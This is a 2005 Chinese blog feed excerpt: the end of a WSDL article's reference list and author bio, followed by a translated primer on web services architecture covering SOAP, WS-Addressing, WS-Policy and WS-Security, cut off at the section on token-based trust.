<LI>Bilal Siddiqui 撰写的“ <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-intwsdl/part1/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Deploying Web services with WSDL</A>”（developerWorks，2001 年 11 月）很好地介绍了 Web 服务和 Web 服务描述语言（Web Services Description Language）。 <BR><BR>
<LI>参阅 <A href="http://www.w3.org/TR/wsdl12/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">WSDL</A>和 <A href="http://www.w3.org/TR/soap/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">SOAP</A> 规范。 <BR><BR>
<LI>XMethods 站点托管一个使用文档样式构建的 <A href="http://www.xmethods.com/idemo/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">demo Web 服务</A>。 <BR><BR>
<LI>IBM 的 <A href="http://www.ibm.com/developerworkshttp://www-3.ibm.com/software/info1/websphere/platformoverview.jsp&amp;origin=ws" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">WebSphere</A>支持 Web 服务。 <BR><BR>
<LI>参阅 IBM 最新的 <A href="http://www.ibm.com/developerworkshttp://www-3.ibm.com/software/solutions/webservices/&amp;origin=ws" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Web Services initiative</A>。 <BR></LI></UL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>James McCarthy 是 Symmetry Solutions 公司的创始人、总裁兼首席技术执行官，他确定了公司的技术发展方向，并监督所有的项目和开发。在他二十年的软件开发生涯中，James 一直在 Lotus Development Corporation、Deloitte、Haskins &amp; Sells（现在的 Deloitte &amp; Touche）以及 Aluminum Company of America（ALCOA）这样大公司中工作并担任领导职位。他在 University of Pittsburgh 获得信息科学硕士学位，并在 Nichols College 获得信息系统与营销的 BS/BA。您可以通过 <A href="mailto:jmccarthy@symmetrysolutions.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">jmccarthy@symmetrysolutions.com</A>联系到 James。 </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10654.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-22 09:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/22/10654.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web服务架构及其规范入门 </title><link>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 17 Aug 2005 12:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10374.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10374.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10374.html</trackback:ping><description><![CDATA[<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width="99%" border=0>
<TBODY>
<TR>
<TD><SPAN class=oblog_text>
<DIV class=postText>
<P><A href="http://www.54bk.com/blog.asp?subjectid=1715&amp;name=yuexb">http://www.54bk.com/blog.asp?subjectid=1715&amp;name=yuexb</A><BR><BR>作者：Luis Felipe Cabrera、Christopher Kurt、Don Box</P>
<P>&nbsp;&nbsp;&nbsp; <B>[摘要]</B>本Web服务架构入门阐述了Web服务架构的基础设计原则和Web服务的基础技术。此外还对其功能进行了介绍，并提供了对其进行正式定义的规范链接。本文也是该架构所有规范的参考指南。</P>
<H1>XML和Infoset</H1>
<P>&nbsp;&nbsp;&nbsp; 对于所有的消息传递系统来说，选择信息传输单位是非常重要的——简单地说，对消息的构成有个一般的认识是必不可少的。在Web服务中，一条消息就是一个XML文档信息项，它由XML信息集（XML Information Set，即Infoset）定义。Infoset是一个抽象的数据模型，它兼容基于文本的XML 1.0，也是所有最新XML规范（XML Schema、XML Query和XSLT 2.0）的基础。由于Web服务架构是以XML Infoset，而不是某一特定的表现形式为基础，使得该架构及其核心协议组件可与其他编码技术兼容。</P>
<P>&nbsp;&nbsp;&nbsp; Infoset根据一组‘信息项（Information Items）’对XML文档进行建模。这组可能的信息项一般会映射到XML文档的不同功能部件上，如元素、属性、命名空间和注解。每一信息项都有一个关联属性集，用于提供该项的更完整描述。附录B描述了XML文档中的11类信息项。每一个结构严谨的XML文档都会包含一个文档信息项和至少一个元素信息项。</P>
<P>&nbsp;&nbsp;&nbsp; 除了基于纯文本的Infoset编码技术以外，Web服务架构还支持另外一种Infoset编码技术——即允许不透明的二进制数据与传统的基于文本的标记交织在一起。W3C XML-binary Optimized Packaging（即XOP）格式使用多部分MIME将原始二进制数据引入到XML 1.0文档中，而不采用base64编码。其配套规范——SOAP 消息 Transmission Optimization Method，即MTOM，则指定如何将该格式绑定到SOAP。XOP和MTOM是将原始二进制数据与基于文本的XML混合在一起的首选方法，它们取代了目前普遍遭到反对的SOAP with Attachments（SwA）和WS-Attachments/DIME。</P>
<H1>SOAP</H1>
<P>&nbsp;&nbsp;&nbsp; SOAP为在分散的分布式环境中使用XML在同等体之间交换结构化分类信息提供了一种简单的轻量级机制。SOAP旨在最大限度地降低对基于不同平台构建的应用程序进行集成的设计成本，并认为最低成本技术最有可能赢得普遍接受。SOAP消息是包含三个元素的XML文档信息项，这三个元素是：&lt;Envelope&gt;、&lt;Header&gt;和&lt;Body&gt;。</P>
<P>&nbsp;&nbsp;&nbsp; Envelope是SOAP消息的根元素，它包含一个可选的Header元素和一个必需的Body元素。Header元素是以分散方式增加SOAP消息功能的一种通用手法。Header的每个子元素都被称为一个Header块（Header Block），SOAP定义了几个知名的属性来指示应该由谁来处理Header块（role）以及这种处理是可选的还是必需的（mustUnderstand），下文中对这两个属性进行了介绍。目前，Header元素总是Envelope的第一个子元素；Body元素总是Envelope的最后一个子元素，也是供最终消息接收者使用的“有效负载”的容器。SOAP本身没有定义内置的Header块，且只定义了一个有效负载，那就是用于报告错误的Fault元素。</P>
<P>&nbsp;&nbsp;&nbsp; 所有的Web服务消息都是SOAP消息，它们充分利用了XML Infoset。消息有效负载和协议头都使用同一个模型，可以确保基础架构头Header和应用程序体的完整性。应用程序发送消息时可能会同时考虑Header的内容和消息中的数据。为XML数据模型开发的工具可以用于检查和构建完整的消息。过去，这些益处在某些架构中是没有的，如DCOM、CORBA和RMI，它们之中的协议头是一些对应用程序不透明的基础架构细节。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP消息是从发送者向接收者单向传送的。多个单向消息的组合可以形成较为复杂的模式。例如，比较常见的模式是同步请求/响应消息对。发送或接收消息的任何一个软件代理都被称为一个SOAP节点（SOAP Node）。启动消息传输的节点称为原始发送节点。使用和处理消息的最后一个节点称为最终接收节点。在原始发送节点和最终接收节点之间处理消息的任一节点都叫做中介（Intermediary）。中介用于模拟单个消息的分布式处理。消息经过的所有中介节点和最终接收节点统称为消息路径（Message Path.）。</P>
<P>&nbsp;&nbsp;&nbsp; 为了能够识别消息路径的各个部分，每个节点都担任一个或多个角色。SOAP角色是一种分类模式，它将一个基于URI的名称与某些抽象功能（如缓存、验证、授权）关联在一起。基础SOAP规范定义了2个内置角色：Next和UltimateReceiver。Next是一个通用角色，因为除了发送节点之外的每一个SOAP节点都属于Next角色。UltimateReceiver是消息路径中终端节点所扮演的角色。它通常就是应用程序，或在某些情况下是代表该应用程序执行任务的基础架构。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP envelope的Body总是针对最终接收节点。而SOAP header则可以针对中介，也可以针对最终接收节点。为了提供一个安全且版本可控的消息处理模型，SOAP定义了3个属性，用于控制中介和最终接收节点处理某一指定Header块的方式——role、relay和mustUnderstand。角色属性用于确定Header块所针对的节点。mustUnderstand属性用于指示在Header块未被认出的情况下该节点是否可以忽略该Header块。带有mustUnderstand="true"标记的Header块叫做强制Header块（Mandatory Header Block）。标记为mustUnderstand="false"或没有mustUnderstand属性的Header块叫做可选Header块。relay属性指示该节点是发送还是放弃未被认出的可选header。</P>
<P>&nbsp;&nbsp;&nbsp; 每一个SOAP节点都必须使用这3个属性来实现SOAP处理模型。以下步骤详细说明了该模型：</P>
<OL>
<LI>使用角色属性（缺省该属性表示Header块针对最终接收节点）确定将用于当前SOAP节点的SOAP消息的所有Header块。 
<LI>验证当前SOAP节点是否能够使用SOAPmustUnderstand属性来处理步骤1中所确定的所有强制Header块。如果有强制Header块不能被当前SOAP节点处理，则必须丢弃该消息，并生成一条醒目的错误消息。 
<LI>处理消息。可以忽略可选消息元素。 
<LI>如果SOAP节点不是消息的最终接收节点，则步骤1中所确定的所有无法分程传送的Header块都会被删除，然后消息被传送到消息路径中的下一个SOAP节点。下一个SOAP节点可以自由地将新的Header块插入到分程传送的消息中。其中的某些Header块可能是步骤1中所确定的Header块的副本。 </LI></OL>
<P>&nbsp;&nbsp;&nbsp; SOAP处理模型旨在实现可扩展性和版本控制。mustUnderstand属性对新Header块的引入是中断变化还是非中断变化进行控制。添加可选header块（如标记为mustUnderstand="false"的header）是一种非中断变化，因为任何SOAP节点都可自由忽略它。添加强制header块（如标记为mustUnderstand="true"的header）是一种中断变化，因为只有知晓Header块语法和语义的SOAP节点才能够处理SOAP消息。Role、relay以及mustUnderstand属性沿着消息路径传递这种处理模型。</P>
<H2>消息交换模式</H2>
<P>&nbsp;&nbsp;&nbsp; SOAP所提供的消息传递灵活性使Web服务能够以多种消息交换模式进行通信，从而满足分布式应用的需求。我们在该架构的核心构件中充分利用了其中一些模式，有几种模式已经被证明在分布式系统中特别有用，比如使用远程过程调用就使同步请求/响应消息交换模式得到了普及。当消息传送潜伏时间失控时，就需要采用异步消息传递。当使用同步请求/响应模式时，显式消息相关性则成为必需。</P>
<P>&nbsp;&nbsp;&nbsp; 广播传输（Broadcast Transport）使一对多消息传输得到了普及。原始发送者将其消息强行发送给接收者的模式称为推模式（Push Model）。尽管这种模式在局域网里很有效，但在广域网中则不太适用，接收者也无法调控消息流。另一个有用的模式是以应用程序表达对某些特定消息类别的兴趣的能力为基础的，它使发布/订阅模式大行其道。通过显式订阅消息源（或主题），应用程序可以更好地控制相关信息流。接收者从消息源显式请求消息时使用拉模式（Pull Model）。在这种模式下，消息流是由接收者驱动的。拉模式也可以与发布/订阅模式结合使用。这非常适合于接收者可能要与消息源间歇地断开连接的情况。</P>
<H2>传输的独立性</H2>
<P>&nbsp;&nbsp;&nbsp; 根据SOAP的定义，它与所使用的底层消息传递机制无关。它支持很多可用的消息交换传输机制，也支持同步和异步消息传送与处理。既需要多种传输又需要异步消息传递的系统的一个例子是在基于陆地高速网络干线的Web服务与由移动电话托管的间歇连接的Web服务之间进行通信的系统。这样的系统要求一条消息经哪种传输系统传输要以该消息在哪个网段内移动为依据。这样的系统还有一个典型特点，即消息传送潜伏时间无法精确确定。Web服务开发人员不应力图确定或界定消息传送潜伏时间，而应在假定异步消息传递已达到最大效能的前提下构建系统。与使用远程过程调用时的情况不同，异步消息传递允许发送者在每一消息传输之后继续进行处理，而不必被迫阻塞并等待响应。当然，同步请求--响应模式也可以构建在异步消息传递的基础之上。</P>
<P>&nbsp;&nbsp;&nbsp; 既然Web服务协议完全独立于底层传输之外，适当机制的选择可能就要延迟到运行时。这就为Web服务应用程序提供了在发送消息时确定相应传输机制的灵活性。此外，底层传输机制可能会随着消息在节点之间的发送而变化，相应地，针对每一网段而选择的传输机制也会随需发生变化。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管存在着这种一般的传输的独立性，大多数第一代Web服务都使用HTTP来进行通信，因为这是SOAP规范内所包含的一种主要绑定协议。HTTP以TCP作为其底层传输协议。但是，TCP在设计时引入了不必要的处理开销。有些应用协议模式与用户数据报协议（即UDP， User Datagram Protocol）的语义学比较匹配，这些模式对于受设备及其他资源约束的系统特别有用。UDP不像TCP那样具有传输保证；它提供最大限度的数据报消息传递。与TCP相比，它需要的实施资源较少。此外，UDP还提供了多路广播功能（Multi-cast Capabilitiy），使一个发送者可以将消息同时发送给多个接收者。</P>
<H2>寻址</H2>
<P>&nbsp;&nbsp;&nbsp; 对于要在这种多传输情况下发送和寻址的消息来说，要让关键的消息传递属性为多个传输所携带，就需要一种共用机制。为此，WS-Addressing规范定义了3组SOAP Header块：</P>
<UL>
<LI>Action Header块用于说明消息的预期处理。该Header块包含一个URI，最终接收者通常用它来分派要进行处理的消息。 
<LI>MessageID和RelatesTo Header块用于识别和关联消息。MessageID和RelatesTo header使用简单的URI来唯一地识别消息——这些URI通常都是瞬态的UUID。 
<LI>To/ReplyTo/FaultTo Header块用于识别要处理消息及其回复的代理。这些Header依赖于WS-Addressing所定义的称为“端点引用（Endpoint Reference）”的结构，它将与对SOAP消息进行正确寻址所需的信息捆绑在一起。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 端点引用是WS-Addressing的最重要的方面，因为与仅使用URI相比，它们可为更细粒度的寻址提供支持。它们广泛用于整个Web服务架构。端点引用包含3条关键的信息：基地址、可选的引用属性集和引用参数。基地址是一个URI，用于识别端点，出现在指向该端点的每一SOAP消息中的To Header块中。引用属性和引用参数是用于为该消息提供附加发送或处理信息以补充基地址的任意XML元素的集合，它们以文字Header元素来表示。当使用端点引用来构建端点消息时，发送者负责提供作为Header块的所有引用属性和引用参数。</P>
<P>&nbsp;&nbsp;&nbsp; 引用属性和引用参数之间的区别在于它们如何关联服务元数据。Web服务策略和契约仅基于其基地址和引用属性。通常，基地址和引用属性用于识别某一给定的已部署服务，引用参数用于识别该服务所管理的特定资源。</P>
<P>&nbsp;&nbsp;&nbsp; 引用属性和参数是那些预期只被最终接收者处理的简单的不透明XML元素。它们有助于确保可用于分派、发送、索引或其他发送端处理活动的信息被包含在给定的消息中。尽管中介预期不会对该信息进行处理，但某些中介（如防火墙或网关服务程序）却有可能使用某些引用属性或参数来进行消息发送、消息处理。引用属性有很多用途。服务类（Classes of Service）和专用实体标识符（Private Entity Identifier）就是两个例子。在服务等级例子中，引用属性可以用于区分针对标准客户的Web服务和针对“黄金”客户的Web服务，后者提供了更高的服务质量和增强功能——可能是通过附加的操作或附加的绑定——在逻辑上形成两个不同的端点。这些属性只在一个会话中设置一次，然后便在交互的其余所有部分重复使用。引用属性另一个用途的例子是以一种对系统不公开发送消息的方式来识别客户的机制。这两种引用属性的组合可以高效地将消息发送给一组适当的服务器，并高效地确定与某一特定用户有关的应用状态。这些例子还展示了引用服务实例的数据和引用用户实例的数据如何用引用属性来表示。</P>
<P>&nbsp;&nbsp;&nbsp; 需要特别指出的是，引用属性还有助于对共享一个共同的URL和作用域的WSDL实体集合进行寻址。WSDL是将Web服务描述为操作消息的一组端点的XML格式，它首先抽象地指定其实体，然后将其具体地绑定到特定实例。具体而言，消息和操作经抽象定义之后，被绑定到带有网络传输和消息格式信息的一个端点。因此，从WSDL的角度来看，当针对不同的具体实体（如输入或输出消息、portType绑定、端口或Web服务中使用一个共同URL的服务）时，对应端点引用的引用属性应该不同。</P>
<P>&nbsp;&nbsp;&nbsp; 使用引用参数的两个例子是基础架构和应用水平。引用参数的基础架构例子可以是发送给某一事务处理监视器的事务/征募ID（Enlistment ID）。在一个购书的场景中，书的ISBN号可能就是一个引用参数应用水平例子。</P>
<H2>元数据（Metadata）</H2>
<P>&nbsp;&nbsp;&nbsp; 所有的Web服务交互都是通过交换SOAP消息来进行的。为了提供一个健壮的开发和操作环境，服务是用机器可读的元数据来描述的——元数据支持互操作性。Web服务元数据可以服务于若干个意图。它用于描述Web服务支持的消息互换格式和某一服务有效的消息交换模式。元数据还用于描述服务的功能和需求。元数据的最后一种形式叫做“服务策略（Policy of Services.）”。消息互换格式和消息交换模式用WSDL来表示，策略使用WS-Policy来表示，契约（Contract）用上述三种元数据来表示。契约是将应用程序与它们所依赖的服务的内部实现细节隔离开来的抽象。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务描述语言，即WSDL——Web Service Description Language，它是被广泛用于描述Web服务基本特征的第一种手段。用WSDL描述的消息被归并为定义基本消息模式的若干操作。这些操作被归并为称作端口的若干个接口，它们详细说明了抽象的服务契约。端口和绑定则用于将portTypes与具体传输和physical 部署信息关联在一起。WSDL描述是自动识别目标服务的所有特征和启用软件开发工具的第一步。WSDL指定请求消息必须包含什么以及响应消息在使用无歧义符号时的显示会是怎样。WSDL文件用于描述消息格式的符号是基于XML模式的。这意味着它既是编程语言中立的又是基于标准的，这使得它很适合于描述可通过多种平台和编程语言来访问的服务接口。除了描述消息内容以外，WSDL还可以定义服务在何处是可用的，以及哪些通信协议被用于与该服务交谈。这意味着WSDL文件可以指定用于编写与某一Web服务进行交互的程序的基本元素。有几种工具可用于读取WSDL文件，以及为编制句法正确的Web服务消息生成所需代码。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管WSDL是一个不错的起点，但它并不足以描述Web服务的方方面面，WSDL只能表示较少的一组属性。Web服务所必需的更详细信息包括：</P>
<UL>
<LI>操作特征：支持SOAP 1.2。 
<LI>使用特征：仅在早9点和下午5点之间可用。 
<LI>安全特征：要访问该服务必需使用Kerberos票。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 第一代Web服务必须使用专有协议来交换带外（Out of Band）的元数据，这一问题可以使用WS-Policy来解决。WS-Policy提供了一种通用模型和语法来描述和传达Web服务策略。它指定了一个概念基集，它可以被其他Web服务规范使用和扩展，以描述更为广泛的服务需求和功能。WS-Policy引入了一个简单的可扩展语法来表示策略断言（Policy Assertion），以及一个处理模型来解释它们。断言可以合并到逻辑选项中。</P>
<P>&nbsp;&nbsp;&nbsp; 策略断言使编程人员要么在开发时、要么在运行时向服务信息中添加适当的元数据。开发时策略的例子包括消息大小的最大允许值或所支持规范的确切版本，运行时策略的例子包括宕机时的必备服务或某一给定的管理过程（定期的硬件维护）期间Web服务的不可用性。可以对单个的策略断言进行分组，以形成策略选项（Policy Alternative）。策略是策略选项的集合。为了便于进行互操作，策略是根据其XML Infoset表示形式来定义的。为了在保持互操作性的同时减小策略文档的大小，又定义了策略的紧凑形式。</P>
<P>&nbsp;&nbsp;&nbsp; 策略用于传达两个Web服务端点之间的交互条件。满足策略中的断言通常会引发反映这些条件的行为。因此，策略断言评估是识别兼容行为的中心。当且仅当请求者满足要求，即提供了这一功能、与该断言相符时，请求者才支持策略断言——策略的构造块。一般而言，这种决定要使用特定领域的知识来做出。请求者支持策略选项的条件是当且仅当请求者支持选项中的所有断言时，这种决定是使用策略断言的结果机械性地做出的。同样，当且仅当请求者至少支持策略中的一个选项时，请求者才支持策略。一旦策略选项经过评估，该决定也是机械性地做出的。请注意，虽然策略选项是互斥的，但一般来说要确定多个选项是否可以同时得到支持也是不太可能的。</P>
<P>&nbsp;&nbsp;&nbsp; 为了以互操作的形式传达策略，策略表达式（Policy Expression）采用策略的某种XML Infoset表示形式。普通形式的策略表达式是最简单的Infoset；同样，可选的Infoset允许通过大量构造来简洁地表达策略。策略表达式是策略的基础构造块。有两个运算符用于表达断言：All和ExactlyOne。All运算符表示策略选项集中的所有断言都必须适用于要满足的策略断言。ExactlyOne运算符表示策略选项集中只有一条断言必须适用于要满足的策略断言。</P>
<P>&nbsp;&nbsp;&nbsp; 策略层位于WSDL描述之上，并对它进行了扩充。策略与Web服务元数据（如WSDL定义或UDDI实体）的关联是通过使用WS-PolicyAttachment来实现的。策略可以作为其定义所固有的一部分或独立地与资源关联在一起。机制就是针对这些不同目的而定义的。需要特别指出的是，策略也可以与单个的SOAP消息一起使用。如果为某一实体制作了多个策略附件，它们会共同确定该实体的有效策略（Effective Policy）。在WSDL层次结构的不同层次上选用策略时一定要小心，因为层次结构每一层次的最终结果就是一个有效策略。作为自我描述和人所能理解的明确性的一般规则，在策略断言所适用的层次结构的每一层次上详细地重复该策略断言，比简单地依赖于计算有效策略的机制更可取。在一个WSDL文档中，与部署端点的消息交换可以同时包含所有4类主题的有效策略。WS-Policy和WS-PolicyAttachment相结合可以提高应用程序来发现和推出其他服务所支持的策略的能力。添加策略的灵活性是对描述消息交互的WSDL信息的一个重要补充。</P>
<P>&nbsp;&nbsp;&nbsp; WSDL和WS-Policy都定义了元数据格式，但都没指定某一给定服务获得或访问元数据的机制。一般来说，服务元数据可以通过使用许多方法来获取。为了支持服务的自我描述，Web服务架构在WS-MetadataExchange中定义了基于SOAP的元数据访问协议。GetMetadata操作用于检索在请求的端点引用中找到的元数据。Get操作类似，但用于检索不同的元数据：在元数据部分引用，并要在存储它的端点引用中检索的元数据。</P>
<P>&nbsp;&nbsp;&nbsp; 使用WS-MEX来交换的元数据可以描述为资源。资源即可由某一端点引用寻址的任何实体，并且在该端点引用中，该实体可以提供一种其自身的XML表示形式。资源构成了构建Web服务中的状态管理所需的基础。</P>
<P class=indent><B>什么是互操作性概要（Interoperability Profile）<BR></B>&nbsp;&nbsp;&nbsp; 概要（Profile）是一组指导原则，主要针对于核心协议以及Web服务规范的使用。这些指导原则对于规范的通用设计来说是必需的。在某些情况下，开发人员需要额外的帮助来确定使用哪些Web服务特性来满足某一特定需求。互操作性概要还用于解决Web服务规范不够明确的领域中的含糊性问题，以确保所有实施都以相同的方式来处理SOAP消息。</P>
<P class=indent><B>WS-I基本概要</B><BR>第一个Web服务概要是由Web服务-互操作性组织（WS-I，Web Services-Interoperability Organization）发布的。WS-I已经完成了其第一个概要，并简单地称为基本概要1.0。该概要主要基于SOAP1.1和WSDL 1.0的互操作使用来提供指导原则。</P>
<H1>安全性</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍Web服务架构中用于提供某一系统内部的消息完整性、身份验证和机密性、安全性令牌交换、消息会话安全性、安全策略表示和服务联盟安全性的规范。提供这些特性的规范是WS-Security、WS-Trust、WS-SecureConversation、WS-SecurityPolicy和WS-Federation。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性是计算机系统的一个基本方面，尤其是那些由Web服务组成的系统。安全性必须是健壮而有效的。因为系统只对消息格式和合法的消息交换作出硬件假设，因此安全性必须基于一致通过的明确机制和假设。安全基础架构还应该具有足够的灵活性，以支持不同组织所需的不同安全策略。</P>
<P>&nbsp;&nbsp;&nbsp; 当安全传输可用于通信Web服务，如安全套接层（SSL）和传输层安全性（TLS）之间时，构建安全性解决方案就得到了简化。有了安全传输，这些服务就不需要参与单个消息的完整性和机密性的维护；它们可以依赖于底层传输。不过，现有的传输级安全性是一个仅限于点对点消息传递的解决方案。如果在使用安全传输时存在中介，则最初发送者和最终接收者需要相信这些中介能够帮助提供端到端的安全性，因为每个网段都是安全的。除了要明确地信任所有中介外，还必须考虑到其他风险，如消息的本地存储和中介受到损害的可能性。</P>
<P>&nbsp;&nbsp;&nbsp; 为了最大限度地扩大Web服务的作用范围，当通信端点不相信中介时，必须提供端到端的安全性，那就需要更高级别的安全协议。作为另一种选择，端到端消息安全性比点对点传输级安全性具有更丰富的内涵，因为它支持Web服务所需的基于SOAP的松耦合、联合、多传输和可扩展环境。这种功能强大而又灵活的基础架构可以通过现有技术和Web服务协议的组合来开发，同时还可以缓解与点对点消息传递相关联的许多安全风险。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管Web服务的安全需求很复杂，但人们还没有发明新的安全机制来满足基于SOAP的消息传递的需要。现有的分布式系统安全性方法，如Kerberos票、公钥加密技术、X.509证书等已经够用了。只有应用现有的SOAP安全方法时，新机制才是必需的。这些新安全协议的设计充分考虑了可扩展性，以便将来能够加入新的方法。一个主要的设计目标是要提供自我描述安全性属性（为包括SOAP在内的Web服务架构而设计）机制。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务安全性的基础是输入消息要证实一组关于发送者、服务或其他资源的断言这一需求。我们称之为断言或安全性断言。典型的安全性断言包括身份、属性、关键财产、权限或功能。这些断言是用包裹在XML中的二进制安全性令牌编码的。在传统的安全性术语中，这些安全性令牌表示功能和访问控制的混合。很多方法都被用于创建安全性令牌。Web服务可以从本地信息构建定制的安全性令牌。反过来，安全性令牌也可以从X.509认证机构或Kerberos域控制器等专业服务检索。为了实现服务之间的通信自动化，需要一个表达安全需求的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 服务可以使用WS-SecurityPolicy中所指定的策略断言来表达其安全需求。通过检索这些策略断言，应用程序可以构建符合目标服务需求的消息。断言、安全性令牌和策略所提供的这组特性以及从Web服务检索它们的能力非常强大。这种普通的Web服务安全模式支持一些更具体的安全模式，如基于身份的授权、访问控制列表和基于功能的授权。它允许使用现有技术，如X.509 公钥证书、基于XML的令牌、Kerberos共享的秘密票和密码摘要。这种普通模型对于构建使用更复杂的方法来进行更高级别的密钥交换、身份验证、基于策略的访问控制、审核和处理复杂的信任关系的系统已经足够。也可以使用代理和中继服务。例如，可以构建中继服务来加强位于信任边界的安全策略；出界的消息被加密，而界内的消息不加密。以前的解决方案没有提供这种灵活性和完善程度。附录C中所描述的常见安全攻击包含了系统威胁的基本分类，而这些系统威胁是在选择Web服务安全特性时应认真加以考虑的。</P>
<P>&nbsp;&nbsp;&nbsp; 本节的余下部分将探讨Web服务安全模式的应用。两个重要主题是安全通信和安全应用。没有假定安全的消息传输，这也不是安全的Web服务所必需的。</P>
<H2>消息完整性和机密性</H2>
<P>&nbsp;&nbsp;&nbsp; 消息级安全性是端到端安全性的关键构造块。使用消息级安全性时，无需传输级安全性。对消息级安全性的要求是消息完整性、消息身份验证和机密性。消息完整性确保消息不能在不知不觉中被更改。使用XMLSignature可确保消息的修改能够被察觉。消息身份验证可识别发送消息的主体。如果使用了公钥加密，就可以确定主体的唯一身份。将公钥加密与经受信任源认证的密钥一起使用可以实现这种身份验证。不过，如果使用了对称密钥加密，情况就不一样了——只有知道共享密钥的主体才能被识别。消息机密性可确保在传输期间未经授权的第三方不能阅读消息。SOAP消息是通过使用XMLEncryption [XMLENC]和安全性令牌来保证机密性的。</P>
<P>&nbsp;&nbsp;&nbsp; 完整性、身份验证和机密性机制将初始消息（或该消息的某些部分）作为输入，将生成的数据（如校验和）作为输出。例如，在某种简单情况下，XML元素的签名可能会作为XML元素所有字符的散列的非对称加密来实现。然后该加密散列可以存储在该消息中，并在该消息中传送。可以将XML文档看作字符串。就像XML签名一样，逐字符地比较也是非常重要的安全性操作。一字之差会导致不同的结果。串行化是用于表示“在线”对象的方法。例如，串行化可用于创建SOAP消息的XML表示。不同串行化软件所导致的任何无关紧要的排字差异都会被消息处理软件忽略，但会对安全性软件产生很大影响。XML消息的Infoset表示形式改进了这一问题。要使XML签名生效，消息必须转换成一个对所有方都是一致的XML表单。规范化是一个术语，来描述用于生成一致的换行符、制表间隔、属性排序和结束标签样式等非关键信息视图的方法。签名包含了用于使消息接收者能够完全像发送者那样处理安全信息的规范化方法。某一服务所使用的特定的规范化方法是要放置在一个WSDL portType绑定或WSDL端口的有用的策略断言。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Security指定了消息完整性和机密性机制以及单一的消息身份验证。对于消息完整性，该规范详细描述了加密签名是如何表示并与SOAP消息的特定部分关联的。该方法允许任意格式良好的消息片段拥有单独的签名。与之类似，机密性是通过结构良好的消息片段的加密来实现。身份验证是使用数字签名来实现的。WS-Security规范描述了当前常用的安全机制，也没有排除将来添加新机制的可能性。因为SOAP处理模型使用Header元素来作出处理决定，所以是决定SOAP消息中的哪些元素需要加密时一定要多加小心。</P>
<P>&nbsp;&nbsp;&nbsp; 在决定要对哪些元素进行加密以及要使用哪些加密算法时，Web服务设计人员一定要清楚消息是如何处理的。当某些特定的Header元素需要由第三方或中介来处理时，这些决定就更为重要了。如果这些参与者对适当的解密数据或对在加密XML元素时所使用的约定毫无所知，它们将无法实现正确操作。此外，每个处理节点对消息中包含的安全信息都必须有个一般的了解。加密某一Header中XML元素的一个自然选择就是对它进行完全加密，用初始元素替代加密数据类型的元素。这种简单的方法有些缺点。例如，中介不太好确定必须处理哪些元素（带有mustUnderstand="1"属性的元素）。另外，当元素类型发生变化时，确定其初始类型比较困难。另一种方法是对元素进行转换，使得进行正确的SOAP处理所需的所有关键属性都保持不变，且对初始元素进行了加密，并放在一个特殊的子元素中。这种方法的优点是即使不知道如何解密元素的中介也能实现正确的处理。这种方法的一个缺点是它要求所有参与者都了解用于表示初始元素的约定。尽管WS-Security目前没有对这种方法提供指导，但我们预期将来会提供的。相比之下这种方法更好一些，因为它可实现所有SOAP Header元素的正确处理。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Security的概要规范中描述了几种安全性令牌。针对表示用户名的令牌、X.509证书和基于XML的安全性令牌的概要都已经开发出来。基于XML的安全性令牌包括安全性断言标记语言（SAML，Security Assertion Markup Language）和可扩展权限标记语言/权限表达语言（REL，Rights Expression Language）。Kerberos票的使用规范还未成型。</P>
<P class=indent><B>WS-I基本安全概要<BR></B>&nbsp;&nbsp;&nbsp; WS-I将要发布的最新的互操作性概要之一是基本安全概要（BSP，Basic Security Profile）。该概要提供了WS-Security和各种安全性令牌，如Username和X.509证书令牌的实现指导。该概要用于补充和完善WS-I基本概要。</P>
<H2>基于安全令牌的信任</H2>
